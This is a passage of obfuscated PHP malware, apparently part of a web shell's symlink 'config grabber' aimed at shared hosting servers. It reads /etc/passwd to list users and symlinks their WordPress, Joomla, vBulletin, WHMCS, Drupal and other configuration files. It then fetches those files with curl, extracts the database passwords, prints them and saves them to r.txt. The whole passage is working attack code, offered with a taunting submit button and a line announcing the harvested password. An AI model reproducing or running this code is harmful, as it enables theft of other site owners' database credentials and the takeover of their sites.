  4006. ["ukikdh"]
  4007. }
  4008. .$ {
  4009. $ {
  4010. "GLOBALS"
  4011. }
  4012. ["nfkxmppan"]
  4013. }
  4014. ."..wp-config");
  4015. $vbdqstdn="us";
  4016. symlink("/home/".$ {
  4017. $ {
  4018. "GLOBALS"
  4019. }
  4020. ["nfkxmppan"]
  4021. }
  4022. ."/public_html/wordpress/wp-config.php",$ {
  4023. $ {
  4024. "GLOBALS"
  4025. }
  4026. ["ukikdh"]
  4027. }
  4028. .$ {
  4029. $ {
  4030. "GLOBALS"
  4031. }
  4032. ["nfkxmppan"]
  4033. }
  4034. ."..word-wp");
  4035. $ {
  4036. "GLOBALS"
  4037. }
  4038. ["oeqavelcrca"]="us";
  4039. $ {
  4040. "GLOBALS"
  4041. }
  4042. ["evgapi"]="r";
  4043. $fuepnu="us";
  4044. $ {
  4045. "GLOBALS"
  4046. }
  4047. ["ciedzzvonvs"]="us";
  4048. $ywjdhaoepls="r";
  4049. $ {
  4050. "GLOBALS"
  4051. }
  4052. ["seuqbf"]="us";
  4053. $ {
  4054. "GLOBALS"
  4055. }
  4056. ["icatsvxz"]="us";
  4057. $jgueznl="r";
  4058. $bxhsmqekesfp="us";
  4059. $osqubeuk="us";
  4060. $yhskzomzcmj="us";
  4061. $ {
  4062. "GLOBALS"
  4063. }
  4064. ["iqlxhlploe"]="r";
  4065. $qshqeltig="us";
  4066. symlink("/home/".$ {
  4067. $ {
  4068. "GLOBALS"
  4069. }
  4070. ["seuqbf"]
  4071. }
  4072. ."/public_html/blog/wp-config.php",$ {
  4073. $ {
  4074. "GLOBALS"
  4075. }
  4076. ["ukikdh"]
  4077. }
  4078. .$ {
  4079. $ {
  4080. "GLOBALS"
  4081. }
  4082. ["nfkxmppan"]
  4083. }
  4084. ."..wpblog");
  4085. $ynyawmsbu="r";
  4086. $upygzgud="r";
  4087. symlink("/home/".$ {
  4088. $vbdqstdn
  4089. }
  4090. ."/public_html/configuration.php",$ {
  4091. $ {
  4092. "GLOBALS"
  4093. }
  4094. ["iqlxhlploe"]
  4095. }
  4096. .$ {
  4097. $ {
  4098. "GLOBALS"
  4099. }
  4100. ["nfkxmppan"]
  4101. }
  4102. ."..joomla-or-whmcs");
  4103. symlink("/home/".$ {
  4104. $ {
  4105. "GLOBALS"
  4106. }
  4107. ["nfkxmppan"]
  4108. }
  4109. ."/public_html/joomla/configuration.php",$ {
  4110. $ {
  4111. "GLOBALS"
  4112. }
  4113. ["evgapi"]
  4114. }
  4115. .$ {
  4116. $ {
  4117. "GLOBALS"
  4118. }
  4119. ["siqthtb"]
  4120. }
  4121. ."..joomla");
  4122. $xmytnoqtu="us";
  4123. $ {
  4124. "GLOBALS"
  4125. }
  4126. ["fphgbuds"]="us";
  4127. $ {
  4128. "GLOBALS"
  4129. }
  4130. ["psapxabo"]="us";
  4131. $ {
  4132. "GLOBALS"
  4133. }
  4134. ["fmwcjqjyryn"]="us";
  4135. $ {
  4136. "GLOBALS"
  4137. }
  4138. ["uhxnnsjox"]="us";
  4139. $ {
  4140. "GLOBALS"
  4141. }
  4142. ["vtrdskbnl"]="r";
  4143. symlink("/home/".$ {
  4144. $ {
  4145. "GLOBALS"
  4146. }
  4147. ["nfkxmppan"]
  4148. }
  4149. ."/public_html/vb/includes/config.php",$ {
  4150. $nttomrctg
  4151. }
  4152. .$ {
  4153. $ {
  4154. "GLOBALS"
  4155. }
  4156. ["nfkxmppan"]
  4157. }
  4158. ."..vbinc");
  4159. symlink("/home/".$ {
  4160. $ {
  4161. "GLOBALS"
  4162. }
  4163. ["uhxnnsjox"]
  4164. }
  4165. ."/public_html/includes/config.php",$ {
  4166. $ {
  4167. "GLOBALS"
  4168. }
  4169. ["ukikdh"]
  4170. }
  4171. .$ {
  4172. $ {
  4173. "GLOBALS"
  4174. }
  4175. ["nfkxmppan"]
  4176. }
  4177. ."..vb");
  4178. $ {
  4179. "GLOBALS"
  4180. }
  4181. ["wnvbzxp"]="us";
  4182. $ {
  4183. "GLOBALS"
  4184. }
  4185. ["hqilsywq"]="r";
  4186. symlink("/home/".$ {
  4187. $ {
  4188. "GLOBALS"
  4189. }
  4190. ["nfkxmppan"]
  4191. }
  4192. ."/public_html/conf_global.php",$ {
  4193. $ {
  4194. "GLOBALS"
  4195. }
  4196. ["ukikdh"]
  4197. }
  4198. .$ {
  4199. $ {
  4200. "GLOBALS"
  4201. }
  4202. ["nfkxmppan"]
  4203. }
  4204. ."..conf_global");
  4205. symlink("/home/".$ {
  4206. $qshqeltig
  4207. }
  4208. ."/public_html/inc/config.php",$ {
  4209. $ {
  4210. "GLOBALS"
  4211. }
  4212. ["ukikdh"]
  4213. }
  4214. .$ {
  4215. $ {
  4216. "GLOBALS"
  4217. }
  4218. ["tjipdfjxt"]
  4219. }
  4220. ."..inc");
  4221. symlink("/home/".$ {
  4222. $ {
  4223. "GLOBALS"
  4224. }
  4225. ["fphgbuds"]
  4226. }
  4227. ."/public_html/config.php",$ {
  4228. $ {
  4229. "GLOBALS"
  4230. }
  4231. ["ukikdh"]
  4232. }
  4233. .$ {
  4234. $xmytnoqtu
  4235. }
  4236. ."..config");
  4237. symlink("/home/".$ {
  4238. $ {
  4239. "GLOBALS"
  4240. }
  4241. ["nfkxmppan"]
  4242. }
  4243. ."/public_html/Settings.php",$ {
  4244. $ywjdhaoepls
  4245. }
  4246. .$ {
  4247. $ {
  4248. "GLOBALS"
  4249. }
  4250. ["nfkxmppan"]
  4251. }
  4252. ."..Settings");
  4253. symlink("/home/".$ {
  4254. $ {
  4255. "GLOBALS"
  4256. }
  4257. ["oeqavelcrca"]
  4258. }
  4259. ."/public_html/sites/default/settings.php",$ {
  4260. $digicnsr
  4261. }
  4262. .$ {
  4263. $ {
  4264. "GLOBALS"
  4265. }
  4266. ["wnvbzxp"]
  4267. }
  4268. ."..sites");
  4269. symlink("/home/".$ {
  4270. $ilinfsl
  4271. }
  4272. ."/public_html/whm/configuration.php",$ {
  4273. $ {
  4274. "GLOBALS"
  4275. }
  4276. ["ukikdh"]
  4277. }
  4278. .$ {
  4279. $emvqckjm
  4280. }
  4281. ."..whm");
  4282. $qqfekrji="us";
  4283. $ {
  4284. "GLOBALS"
  4285. }
  4286. ["twjpjgbpqc"]="r";
  4287. $ {
  4288. "GLOBALS"
  4289. }
  4290. ["sxqkxmmdzq"]="us";
  4291. symlink("/home/".$ {
  4292. $ {
  4293. "GLOBALS"
  4294. }
  4295. ["nfkxmppan"]
  4296. }
  4297. ."/public_html/whmcs/configuration.php",$ {
  4298. $ {
  4299. "GLOBALS"
  4300. }
  4301. ["ukikdh"]
  4302. }
  4303. .$ {
  4304. $osqubeuk
  4305. }
  4306. ."..whmcs");
  4307. $cbuolpszvmwl="us";
  4308. $ {
  4309. "GLOBALS"
  4310. }
  4311. ["qgnhbmkjk"]="us";
  4312. symlink("/home/".$ {
  4313. $cbuolpszvmwl
  4314. }
  4315. ."/public_html/support/configuration.php",$ {
  4316. $ {
  4317. "GLOBALS"
  4318. }
  4319. ["ukikdh"]
  4320. }
  4321. .$ {
  4322. $ {
  4323. "GLOBALS"
  4324. }
  4325. ["nfkxmppan"]
  4326. }
  4327. ."..supporwhmcs");
  4328. symlink("/home/".$ {
  4329. $ {
  4330. "GLOBALS"
  4331. }
  4332. ["sxqkxmmdzq"]
  4333. }
  4334. ."/public_html/whmc/WHM/configuration.php",$ {
  4335. $ {
  4336. "GLOBALS"
  4337. }
  4338. ["ukikdh"]
  4339. }
  4340. .$ {
  4341. $ {
  4342. "GLOBALS"
  4343. }
  4344. ["nfkxmppan"]
  4345. }
  4346. ."..WHM");
  4347. symlink("/home/".$ {
  4348. $ {
  4349. "GLOBALS"
  4350. }
  4351. ["nfkxmppan"]
  4352. }
  4353. ."/public_html/whm/WHMCS/configuration.php",$ {
  4354. $ {
  4355. "GLOBALS"
  4356. }
  4357. ["twjpjgbpqc"]
  4358. }
  4359. .$ {
  4360. $ {
  4361. "GLOBALS"
  4362. }
  4363. ["fmwcjqjyryn"]
  4364. }
  4365. ."..whmc");
  4366. symlink("/home/".$ {
  4367. $fuepnu
  4368. }
  4369. ."/public_html/whm/whmcs/configuration.php",$ {
  4370. $ {
  4371. "GLOBALS"
  4372. }
  4373. ["vtrdskbnl"]
  4374. }
  4375. .$ {
  4376. $ {
  4377. "GLOBALS"
  4378. }
  4379. ["ciedzzvonvs"]
  4380. }
  4381. ."..WHMcs");
  4382. symlink("/home/".$ {
  4383. $ {
  4384. "GLOBALS"
  4385. }
  4386. ["nfkxmppan"]
  4387. }
  4388. ."/public_html/support/configuration.php",$ {
  4389. $jgueznl
  4390. }
  4391. .$ {
  4392. $ {
  4393. "GLOBALS"
  4394. }
  4395. ["nfkxmppan"]
  4396. }
  4397. ."..whmcsupp");
  4398. symlink("/home/".$ {
  4399. $qqfekrji
  4400. }
  4401. ."/public_html/clients/configuration.php",$ {
  4402. $ {
  4403. "GLOBALS"
  4404. }
  4405. ["ukikdh"]
  4406. }
  4407. .$ {
  4408. $ {
  4409. "GLOBALS"
  4410. }
  4411. ["nfkxmppan"]
  4412. }
  4413. ."..whmcs-cli");
  4414. symlink("/home/".$ {
  4415. $ {
  4416. "GLOBALS"
  4417. }
  4418. ["ykxuxbudxwd"]
  4419. }
  4420. ."/public_html/client/configuration.php",$ {
  4421. $ {
  4422. "GLOBALS"
  4423. }
  4424. ["hqkbkbp"]
  4425. }
  4426. .$ {
  4427. $ {
  4428. "GLOBALS"
  4429. }
  4430. ["icatsvxz"]
  4431. }
  4432. ."..whmcs-cl");
  4433. symlink("/home/".$ {
  4434. $ {
  4435. "GLOBALS"
  4436. }
  4437. ["nfkxmppan"]
  4438. }
  4439. ."/public_html/clientes/configuration.php",$ {
  4440. $ynyawmsbu
  4441. }
  4442. .$ {
  4443. $bxhsmqekesfp
  4444. }
  4445. ."..whmcs-CL");
  4446. symlink("/home/".$ {
  4447. $ {
  4448. "GLOBALS"
  4449. }
  4450. ["psapxabo"]
  4451. }
  4452. ."/public_html/cliente/configuration.php",$ {
  4453. $ {
  4454. "GLOBALS"
  4455. }
  4456. ["ukikdh"]
  4457. }
  4458. .$ {
  4459. $ {
  4460. "GLOBALS"
  4461. }
  4462. ["nfkxmppan"]
  4463. }
  4464. ."..whmcs-Cl");
  4465. symlink("/home/".$ {
  4466. $nnfijewaq
  4467. }
  4468. ."/public_html/clientsupport/configuration.php",$ {
  4469. $ {
  4470. "GLOBALS"
  4471. }
  4472. ["hqilsywq"]
  4473. }
  4474. .$ {
  4475. $ {
  4476. "GLOBALS"
  4477. }
  4478. ["nfkxmppan"]
  4479. }
  4480. ."..whmcs-csup");
  4481. symlink("/home/".$ {
  4482. $yhskzomzcmj
  4483. }
  4484. ."/public_html/billing/configuration.php",$ {
  4485. $upygzgud
  4486. }
  4487. .$ {
  4488. $ {
  4489. "GLOBALS"
  4490. }
  4491. ["qgnhbmkjk"]
  4492. }
  4493. ."..whmcs-bill");
  4494. symlink("/home/".$ {
  4495. $ {
  4496. "GLOBALS"
  4497. }
  4498. ["nfkxmppan"]
  4499. }
  4500. ."/public_html/admin/config.php",$ {
  4501. $ {
  4502. "GLOBALS"
  4503. }
  4504. ["ukikdh"]
  4505. }
  4506. .$ {
  4507. $ {
  4508. "GLOBALS"
  4509. }
  4510. ["nfkxmppan"]
  4511. }
  4512. ."..admin-conf");
  4513. }
  4514. }
  4515. echo "
  4516. <form method=post>
  4517. <input type=submit name=sm value=\"Ayo Kak Main kuda kudaan ^_^\"></form>
  4518. ";
  4519. $ {
  4520. "GLOBALS"
  4521. }
  4522. ["ytidfmauvywq"]="target";
  4523. error_reporting(0);
  4524. set_time_limit(0);
  4525. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien) {
  4526. $olntrvw="text";
  4527. $khrhbgxcul="ar";
  4528. $ {
  4529. "GLOBALS"
  4530. }
  4531. ["agilmrcy"]="ar1";
  4532. $ {
  4533. "GLOBALS"
  4534. }
  4535. ["dbdhjgpvvl"]="marqueurDebutLien";
  4536. $ {
  4537. $ {
  4538. "GLOBALS"
  4539. }
  4540. ["ggmdrvtscl"]
  4541. }
  4542. =explode($ {
  4543. $ {
  4544. "GLOBALS"
  4545. }
  4546. ["dbdhjgpvvl"]
  4547. }
  4548. ,$ {
  4549. $olntrvw
  4550. }
  4551. );
  4552. $ {
  4553. $ {
  4554. "GLOBALS"
  4555. }
  4556. ["agilmrcy"]
  4557. }
  4558. =explode($ {
  4559. $ {
  4560. "GLOBALS"
  4561. }
  4562. ["jlqnbkqdiu"]
  4563. }
  4564. ,$ {
  4565. $ {
  4566. "GLOBALS"
  4567. }
  4568. ["ggmdrvtscl"]
  4569. }
  4570. [1]);
  4571. $ {
  4572. $ {
  4573. "GLOBALS"
  4574. }
  4575. ["kerydmcjzyb"]
  4576. }
  4577. =trim($ {
  4578. $ {
  4579. "GLOBALS"
  4580. }
  4581. ["pmtirjsjc"]
  4582. }
  4583. [0]);
  4584. return$ {
  4585. $khrhbgxcul
  4586. }
  4587. ;
  4588. }
  4589. if(isset($_POST["sm"])) {
  4590. echo"U can see the the Passowrd in here :p";
  4591. $ {
  4592. "GLOBALS"
  4593. }
  4594. ["svhyqvbhq"]="r";
  4595. $ {
  4596. $ {
  4597. "GLOBALS"
  4598. }
  4599. ["xqjsjx"]
  4600. }
  4601. =fopen("r.txt","a+");
  4602. $ {
  4603. "GLOBALS"
  4604. }
  4605. ["nhifbiqs"]="user";
  4606. $ {
  4607. "GLOBALS"
  4608. }
  4609. ["ztuunpxyevyv"]="re";
  4610. $ {
  4611. $ {
  4612. "GLOBALS"
  4613. }
  4614. ["svhyqvbhq"]
  4615. }
  4616. ="http://".$_SERVER["SERVER_NAME"].dirname($_SERVER["SCRIPT_NAME"])."/idbte4m-gitu-loh/";
  4617. $nsznhpufgc="confi";
  4618. $ {
  4619. $ {
  4620. "GLOBALS"
  4621. }
  4622. ["ztuunpxyevyv"]
  4623. }
  4624. =$ {
  4625. $ {
  4626. "GLOBALS"
  4627. }
  4628. ["ukikdh"]
  4629. }
  4630. ;
  4631. $oqjgrkmwi="users";
  4632. $ {
  4633. "GLOBALS"
  4634. }
  4635. ["hrwgcxni"]="users";
  4636. $ {
  4637. $nsznhpufgc
  4638. }
  4639. =array("..wp-config","..word-wp","..wpblog","..config","..admin-conf","..vb","..joomla-or-whmcs","..joomla","..vbinc","..whm","..whmcs","..supporwhmcs","..WHM","..whmc","..WHMcs","..whmcsupp","..whmcs-cli","..whmcs-cl","..whmcs-CL","..whmcs-Cl","..whmcs-csup","..whmcs-bill");
  4640. $ {
  4641. $ {
  4642. "GLOBALS"
  4643. }
  4644. ["hrwgcxni"]
  4645. }
  4646. =file("/etc/passwd");
  4647. foreach($ {
  4648. $oqjgrkmwi
  4649. }
  4650. as$ {
  4651. $ {
  4652. "GLOBALS"
  4653. }
  4654. ["nhifbiqs"]
  4655. }
  4656. ) {
  4657. $ {
  4658. "GLOBALS"
  4659. }
  4660. ["lffiivehuw"]="str";
  4661. $ {
  4662. "GLOBALS"
  4663. }
  4664. ["fdwmnihfmm"]="str";
  4665. $qdscoy="confi";
  4666. $ {
  4667. "GLOBALS"
  4668. }
  4669. ["qdsgggmv"]="user";
  4670. $ {
  4671. $ {
  4672. "GLOBALS"
  4673. }
  4674. ["fdwmnihfmm"]
  4675. }
  4676. =explode(":",$ {
  4677. $ {
  4678. "GLOBALS"
  4679. }
  4680. ["qdsgggmv"]
  4681. }
  4682. );
  4683. $ {
  4684. $ {
  4685. "GLOBALS"
  4686. }
  4687. ["tfufwtkggg"]
  4688. }
  4689. =$ {
  4690. $ {
  4691. "GLOBALS"
  4692. }
  4693. ["lffiivehuw"]
  4694. }
  4695. [0];
  4696. foreach($ {
  4697. $qdscoy
  4698. }
  4699. as$ {
  4700. $ {
  4701. "GLOBALS"
  4702. }
  4703. ["ghpkiod"]
  4704. }
  4705. ) {
  4706. $lqovtogmdro="ch";
  4707. $pohpfdtmti="re";
  4708. $ {
  4709. "GLOBALS"
  4710. }
  4711. ["nchjukvvqit"]="ch";
  4712. $hehrkezdpk="uxl";
  4713. $ {
  4714. "GLOBALS"
  4715. }
  4716. ["pemxmrsh"]="uurl";
  4717. $ptrckqlsicw="uxl";
  4718. $wzhjhoquw="uel";
  4719. $nmkswatkkt="co";
  4720. $ghknfyflg="uurl";
  4721. $ {
  4722. "GLOBALS"
  4723. }
  4724. ["vxtiswnt"]="uel";
  4725. $fmcdexbf="ch";
  4726. $oebhbtqi="uxl";
  4727. $nkpoepwpdqd="result";
  4728. $mbpipeu="uxl";
  4729. $ {
  4730. $ghknfyflg
  4731. }
  4732. =$ {
  4733. $pohpfdtmti
  4734. }
  4735. .$ {
  4736. $ {
  4737. "GLOBALS"
  4738. }
  4739. ["tfufwtkggg"]
  4740. }
  4741. .$ {
  4742. $nmkswatkkt
  4743. }
  4744. ;
  4745. $anhgzfy="ch";
  4746. $ {
  4747. $ {
  4748. "GLOBALS"
  4749. }
  4750. ["vxtiswnt"]
  4751. }
  4752. =$ {
  4753. $ {
  4754. "GLOBALS"
  4755. }
  4756. ["pemxmrsh"]
  4757. }
  4758. ;
  4759. $ {
  4760. $ {
  4761. "GLOBALS"
  4762. }
  4763. ["clcexgoc"]
  4764. }
  4765. =curl_init();
  4766. $ {
  4767. "GLOBALS"
  4768. }
  4769. ["wppiyrcdbbn"]="ch";
  4770. $kgbbmpotw="uxl";
  4771. curl_setopt($ {
  4772. $ {
  4773. "GLOBALS"
  4774. }
  4775. ["clcexgoc"]
  4776. }
  4777. ,CURLOPT_URL,$ {
  4778. $wzhjhoquw
  4779. }
  4780. );
  4781. curl_setopt($ {
  4782. $ {
  4783. "GLOBALS"
  4784. }
  4785. ["nchjukvvqit"]
  4786. }
  4787. ,CURLOPT_HEADER,1);
  4788. curl_setopt($ {
  4789. $anhgzfy
  4790. }
  4791. ,CURLOPT_RETURNTRANSFER,1);
  4792. $gqfsexakg="ch";
  4793. curl_setopt($ {
  4794. $gqfsexakg
  4795. }
  4796. ,CURLOPT_CONNECTTIMEOUT,5);
  4797. $wgmhnq="uxl";
  4798. $ {
  4799. "GLOBALS"
  4800. }
  4801. ["jpvfshlwt"]="uxl";
  4802. $cpyvvnpbpbc="uxl";
  4803. curl_setopt($ {
  4804. $ {
  4805. "GLOBALS"
  4806. }
  4807. ["wppiyrcdbbn"]
  4808. }
  4809. ,CURLOPT_USERAGENT,"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8");
  4810. $ {
  4811. $ {
  4812. "GLOBALS"
  4813. }
  4814. ["ytygxi"]
  4815. }
  4816. ["EXE"]=curl_exec($ {
  4817. $fmcdexbf
  4818. }
  4819. );
  4820. curl_close($ {
  4821. $lqovtogmdro
  4822. }
  4823. );
  4824. $ {
  4825. $ {
  4826. "GLOBALS"
  4827. }
  4828. ["smposrbewu"]
  4829. }
  4830. =$ {
  4831. $nkpoepwpdqd
  4832. }
  4833. ["EXE"];
  4834. $dsojfl="uxl";
  4835. $ {
  4836. "GLOBALS"
  4837. }
  4838. ["glpswt"]="uxl";
  4839. if($ {
  4840. $kgbbmpotw
  4841. }
  4842. &&preg_match("/table_prefix/i",$ {
  4843. $ptrckqlsicw
  4844. }
  4845. )) {
  4846. $xoynetliybs="ffile";
  4847. $ {
  4848. "GLOBALS"
  4849. }
  4850. ["mbbohos"]="pass";
  4851. $ {
  4852. "GLOBALS"
  4853. }
  4854. ["jkoqdoylpm"]="dbp";
  4855. echo"<div align=center><table width=60% ><tr><td align=center><font color=red size=4 face='comic sans ms'> $usersss user's website cms is wordpress </font></td></tr></table>";
  4856. echo$ {
  4857. $ {
  4858. "GLOBALS"
  4859. }
  4860. ["dseeueq"]
  4861. }
  4862. =entre2v2($ {
  4863. $ {
  4864. "GLOBALS"
  4865. }
  4866. ["smposrbewu"]
  4867. }
  4868. ,"DB_PASSWORD', '","');");
  4869. if(!empty($ {
  4870. $ {
  4871. "GLOBALS"
  4872. }
  4873. ["dseeueq"]
  4874. }
  4875. ))$ {
  4876. $ {
  4877. "GLOBALS"
  4878. }
  4879. ["mbbohos"]
  4880. }
  4881. =$ {
  4882. $ {
  4883. "GLOBALS"
  4884. }
  4885. ["jkoqdoylpm"]
  4886. }
  4887. ."
  4888. ";
  4889. fwrite($ {
  4890. $xoynetliybs
  4891. }
  4892. ,$ {
  4893. $ {
  4894. "GLOBALS"
  4895. }
  4896. ["jqbdqptiz"]
  4897. }
  4898. );
  4899. } elseif($ {
  4900. $ {
  4901. "GLOBALS"
  4902. }
  4903. ["smposrbewu"]
  4904. }
  4905. &&preg_match("/cc_encryption_hash/i",$ {
  4906. $ {
  4907. "GLOBALS"
  4908. }
  4909. ["smposrbewu"]
  4910. }
  4911. )) {
  4912. $ {
  4913. "GLOBALS"
  4914. }
  4915. ["kmisenk"]="ffile";
  4916. $ {
  4917. "GLOBALS"
  4918. }
  4919. ["vjmxfhywxr"]="uxl";
  4920. echo"<div align=center><table width=60% ><tr><td align=center><font color=red size=4 face='comic sans ms'> $usersss user's website whmcs bhaiyu xD </font></td></tr></table>";
  4921. $ {
  4922. "GLOBALS"
  4923. }
  4924. ["weynhgik"]="pass";
  4925. $ukdseoc="pass";
  4926. $ {
  4927. "GLOBALS"
  4928. }
  4929. ["htwkxy"]="dbp";
  4930. echo$ {
  4931. $ {
  4932. "GLOBALS"
  4933. }
  4934. ["dseeueq"]
  4935. }
  4936. =entre2v2($ {
  4937. $ {
  4938. "GLOBALS"
  4939. }
  4940. ["vjmxfhywxr"]
  4941. }
  4942. ,"db_password = '","';");
  4943. if(!empty($ {
  4944. $ {
  4945. "GLOBALS"
  4946. }
  4947. ["htwkxy"]
  4948. }
  4949. ))$ {
  4950. $ukdseoc
  4951. }
  4952. =$ {
  4953. $ {
  4954. "GLOBALS"
  4955. }
  4956. ["dseeueq"]
  4957. }
  4958. ."
  4959. ";
  4960. fwrite($ {
  4961. $ {
  4962. "GLOBALS"
  4963. }
  4964. ["kmisenk"]
  4965. }
  4966. ,$ {
  4967. $ {
  4968. "GLOBALS"
  4969. }
  4970. ["weynhgik"]
  4971. }
  4972. );
  4973. } elseif($ {
  4974. $ {
  4975. "GLOBALS"
  4976. }
  4977. ["smposrbewu"]
  4978. }
  4979. &&preg_match("/dbprefix/i",$ {
  4980. $dsojfl
  4981. }
  4982. )) {
  4983. echo"<div align=center><table width=60% ><tr><td align=center><font color=red size=4 face='comic sans ms'> $usersss user's website cms is joomla </font></td></tr></table>";
  4984. echo$ {
  4985. $ {
  4986. "GLOBALS"
  4987. }
  4988. ["nheadbdqjtu"]
  4989. }
  4990. =entre2v2($ {
  4991. $ {
  4992. "GLOBALS"
  4993. }
  4994. ["smposrbewu"]
  4995. }
  4996. ,"password = '","';");
  4997. if(!empty($ {
  4998. $ {
  4999. "GLOBALS"
  5000. }
  5001. ["nheadbdqjtu"]
  5002. }
  5003. ))$ {
  5004. $ {
  5005. "GLOBALS"
  5006. }
  5007. ["jqbdqptiz"]
  5008. }
  5009. =$ {
  5010. $ {
  5011. "GLOBALS"
  5012. }
  5013. ["nheadbdqjtu"]
  5014. }
  5015. ."
  5016. ";
  5017. fwrite($ {
  5018. $ {
  5019. "GLOBALS"
  5020. }
  5021. ["xqjsjx"]
  5022. }
  5023. ,$ {
  5024. $ {
  5025. "GLOBALS"
  5026. }
  5027. ["jqbdqptiz"]
  5028. }
  5029. );
  5030. } elseif($ {
  5031. $hehrkezdpk
  5032. }
  5033. &&preg_match("/admincpdir/i",$ {
  5034. $ {
  5035. "GLOBALS"
  5036. }
  5037. ["glpswt"]
  5038. }
  5039. )) {
  5040. $ {
  5041. "GLOBALS"
  5042. }
  5043. ["htwdbdmj"]="ffile";
  5044. $gjyjauxxdfpq="db";
  5045. echo"<div align=center><table width=60% ><tr><td align=center><font color=red size=4 face='comic sans ms'> $usersss user's website cms is vbulletin </font></td></tr></table>";
  5046. $ {
  5047. "GLOBALS"
  5048. }
  5049. ["wripkprnh"]="uxl";
  5050. echo$ {
  5051. $gjyjauxxdfpq
  5052. }
  5053. =entre2v2($ {
  5054. $ {
  5055. "GLOBALS"
  5056. }
  5057. ["wripkprnh"]
  5058. }
  5059. ,"password'] = '","';");
  5060. if(!empty($ {
  5061. $ {
  5062. "GLOBALS"
  5063. }
  5064. ["nheadbdqjtu"]
  5065. }
  5066. ))$ {
  5067. $ {
  5068. "GLOBALS"
  5069. }
  5070. ["jqbdqptiz"]
  5071. }
  5072. =$ {
  5073. $ {
  5074. "GLOBALS"
  5075. }
  5076. ["nheadbdqjtu"]
  5077. }
  5078. ."
  5079. ";
  5080. fwrite($ {
  5081. $ {
  5082. "GLOBALS"
  5083. }
  5084. ["htwdbdmj"]
  5085. }
  5086. ,$ {
  5087. $ {
  5088. "GLOBALS"
  5089. }
  5090. ["jqbdqptiz"]
  5091. }
  5092. );
  5093. } elseif($ {
  5094. $oebhbtqi
  5095. }
  5096. &&preg_match("/DB_DATABASE/i",$ {
  5097. $ {
  5098. "GLOBALS"
  5099. }
  5100. ["smposrbewu"]
  5101. }
  5102. )) {
  5103. $hlhjxgxol="db";
  5104. $ {
  5105. "GLOBALS"
  5106. }
  5107. ["osbyycmsfkxm"]="db";
  5108. $ {
  5109. "GLOBALS"
  5110. }
  5111. ["rdvmodv"]="pass";
  5112. $ {
  5113. "GLOBALS"
  5114. }
  5115. ["ssvsiovd"]="db";
  5116. $quoeboygi="pass";
  5117. echo"<div align=center><table width=60% ><tr><td align=center><font color=red size=4 face='comic sans ms'> got config file for unknwon cms for user $usersss </font></td></tr></table>";
  5118. echo$ {
  5119. $ {
  5120. "GLOBALS"
  5121. }
  5122. ["ssvsiovd"]
  5123. }
  5124. =entre2v2($ {
  5125. $ {
  5126. "GLOBALS"
  5127. }
  5128. ["smposrbewu"]
  5129. }
  5130. ,"DB_PASSWORD', '","');");
  5131. if(!empty($ {
  5132. $hlhjxgxol
  5133. }
  5134. ))$ {
  5135. $quoeboygi
  5136. }
  5137. =$ {
  5138. $ {
  5139. "GLOBALS"
  5140. }
  5141. ["osbyycmsfkxm"]
  5142. }
  5143. ."
  5144. ";
  5145. fwrite($ {
  5146. $ {
  5147. "GLOBALS"
  5148. }
  5149. ["xqjsjx"]
  5150. }
  5151. ,$ {
  5152. $ {
  5153. "GLOBALS"
  5154. }
  5155. ["rdvmodv"]
  5156. }
  5157. );
  5158. } elseif($ {
  5159. $wgmhnq
  5160. }
  5161. &&preg_match("/dbpass/i",$ {
  5162. $ {
  5163. "GLOBALS"
  5164. }
  5165. ["jpvfshlwt"]
  5166. }
  5167. )) {
  5168. $gbelrygh="pass";
  5169. $ {
  5170. "GLOBALS"
  5171. }
  5172. ["krskycqvw"]="db";
  5173. echo"<div align=center><table width=60% ><tr><td align=center><font color=red size=4 face='comic sans ms'> $usersss user's config file for unknwon cms </font></td></tr></table>";
  5174. $dnoptjeza="db";
  5175. echo$ {
  5176. $ {
  5177. "GLOBALS"
  5178. }
  5179. ["krskycqvw"]
  5180. }
  5181. =entre2v2($ {
  5182. $ {
  5183. "GLOBALS"
  5184. }
  5185. ["smposrbewu"]
  5186. }
  5187. ,"dbpass = '","';");
  5188. if(!empty($ {
  5189. $ {
  5190. "GLOBALS"
  5191. }
  5192. ["nheadbdqjtu"]
  5193. }
  5194. ))$ {
  5195. $gbelrygh
  5196. }
  5197. =$ {
  5198. $dnoptjeza
  5199. }
  5200. ."
  5201. ";
  5202. fwrite($ {
  5203. $ {
  5204. "GLOBALS"
  5205. }
  5206. ["xqjsjx"]
  5207. }
  5208. ,$ {
  5209. $ {
  5210. "GLOBALS"
  5211. }
  5212. ["jqbdqptiz"]
  5213. }
  5214. );
  5215. } elseif($ {
  5216. $ {
  5217. "GLOBALS"
  5218. }
  5219. ["smposrbewu"]
  5220. }
  5221. &&preg_match("/dbpass/i",$ {
  5222. $ {
  5223. "GLOBALS"
  5224. }
  5225. ["smposrbewu"]
  5226. }
  5227. )) {
  5228. $ {
  5229. "GLOBALS"
  5230. }
  5231. ["tsvcdhbxjjcy"]="db";
  5232. $uamjgbemxfm="pass";
  5233. $vhwdotel="uxl";
  5234. echo"<div align=center><table width=60% ><tr><td align=center><font color=red size=4 face='comic sans ms'> got config file for unknwon cms of user $usersss </font></td></tr></table>";
  5235. echo$ {
  5236. $ {
  5237. "GLOBALS"
  5238. }
  5239. ["tsvcdhbxjjcy"]
  5240. }
  5241. =entre2v2($ {
  5242. $vhwdotel
  5243. }
  5244. ,"dbpass = '","';");
  5245. $ {
  5246. "GLOBALS"
  5247. }
  5248. ["jzcldxweqx"]="db";
  5249. if(!empty($ {
  5250. $ {
  5251. "GLOBALS"
  5252. }
  5253. ["jzcldxweqx"]
  5254. }
  5255. ))$ {
  5256. $uamjgbemxfm
  5257. }
  5258. =$ {
  5259. $ {
  5260. "GLOBALS"
  5261. }
  5262. ["nheadbdqjtu"]
  5263. }
  5264. ."
  5265. ";
  5266. fwrite($ {
  5267. $ {
  5268. "GLOBALS"
  5269. }
  5270. ["xqjsjx"]
  5271. }
  5272. ,$ {
  5273. $ {
  5274. "GLOBALS"
  5275. }
  5276. ["jqbdqptiz"]
  5277. }
  5278. );
  5279. } elseif($ {
  5280. $cpyvvnpbpbc
  5281. }
  5282. &&preg_match("/dbpass/i",$ {
  5283. $mbpipeu
  5284. }
  5285. )) {
  5286. $ynqhaxyy="uxl";
  5287. echo"<div align=center><table width=60% ><tr><td align=center><font color=red size=4 face='comic sans ms'> $usersss user's config file for unknwon cms </font></td></tr></table>";
  5288. $hjtezrws="db";
  5289. echo$ {
  5290. $ {
  5291. "GLOBALS"
  5292. }
  5293. ["nheadbdqjtu"]
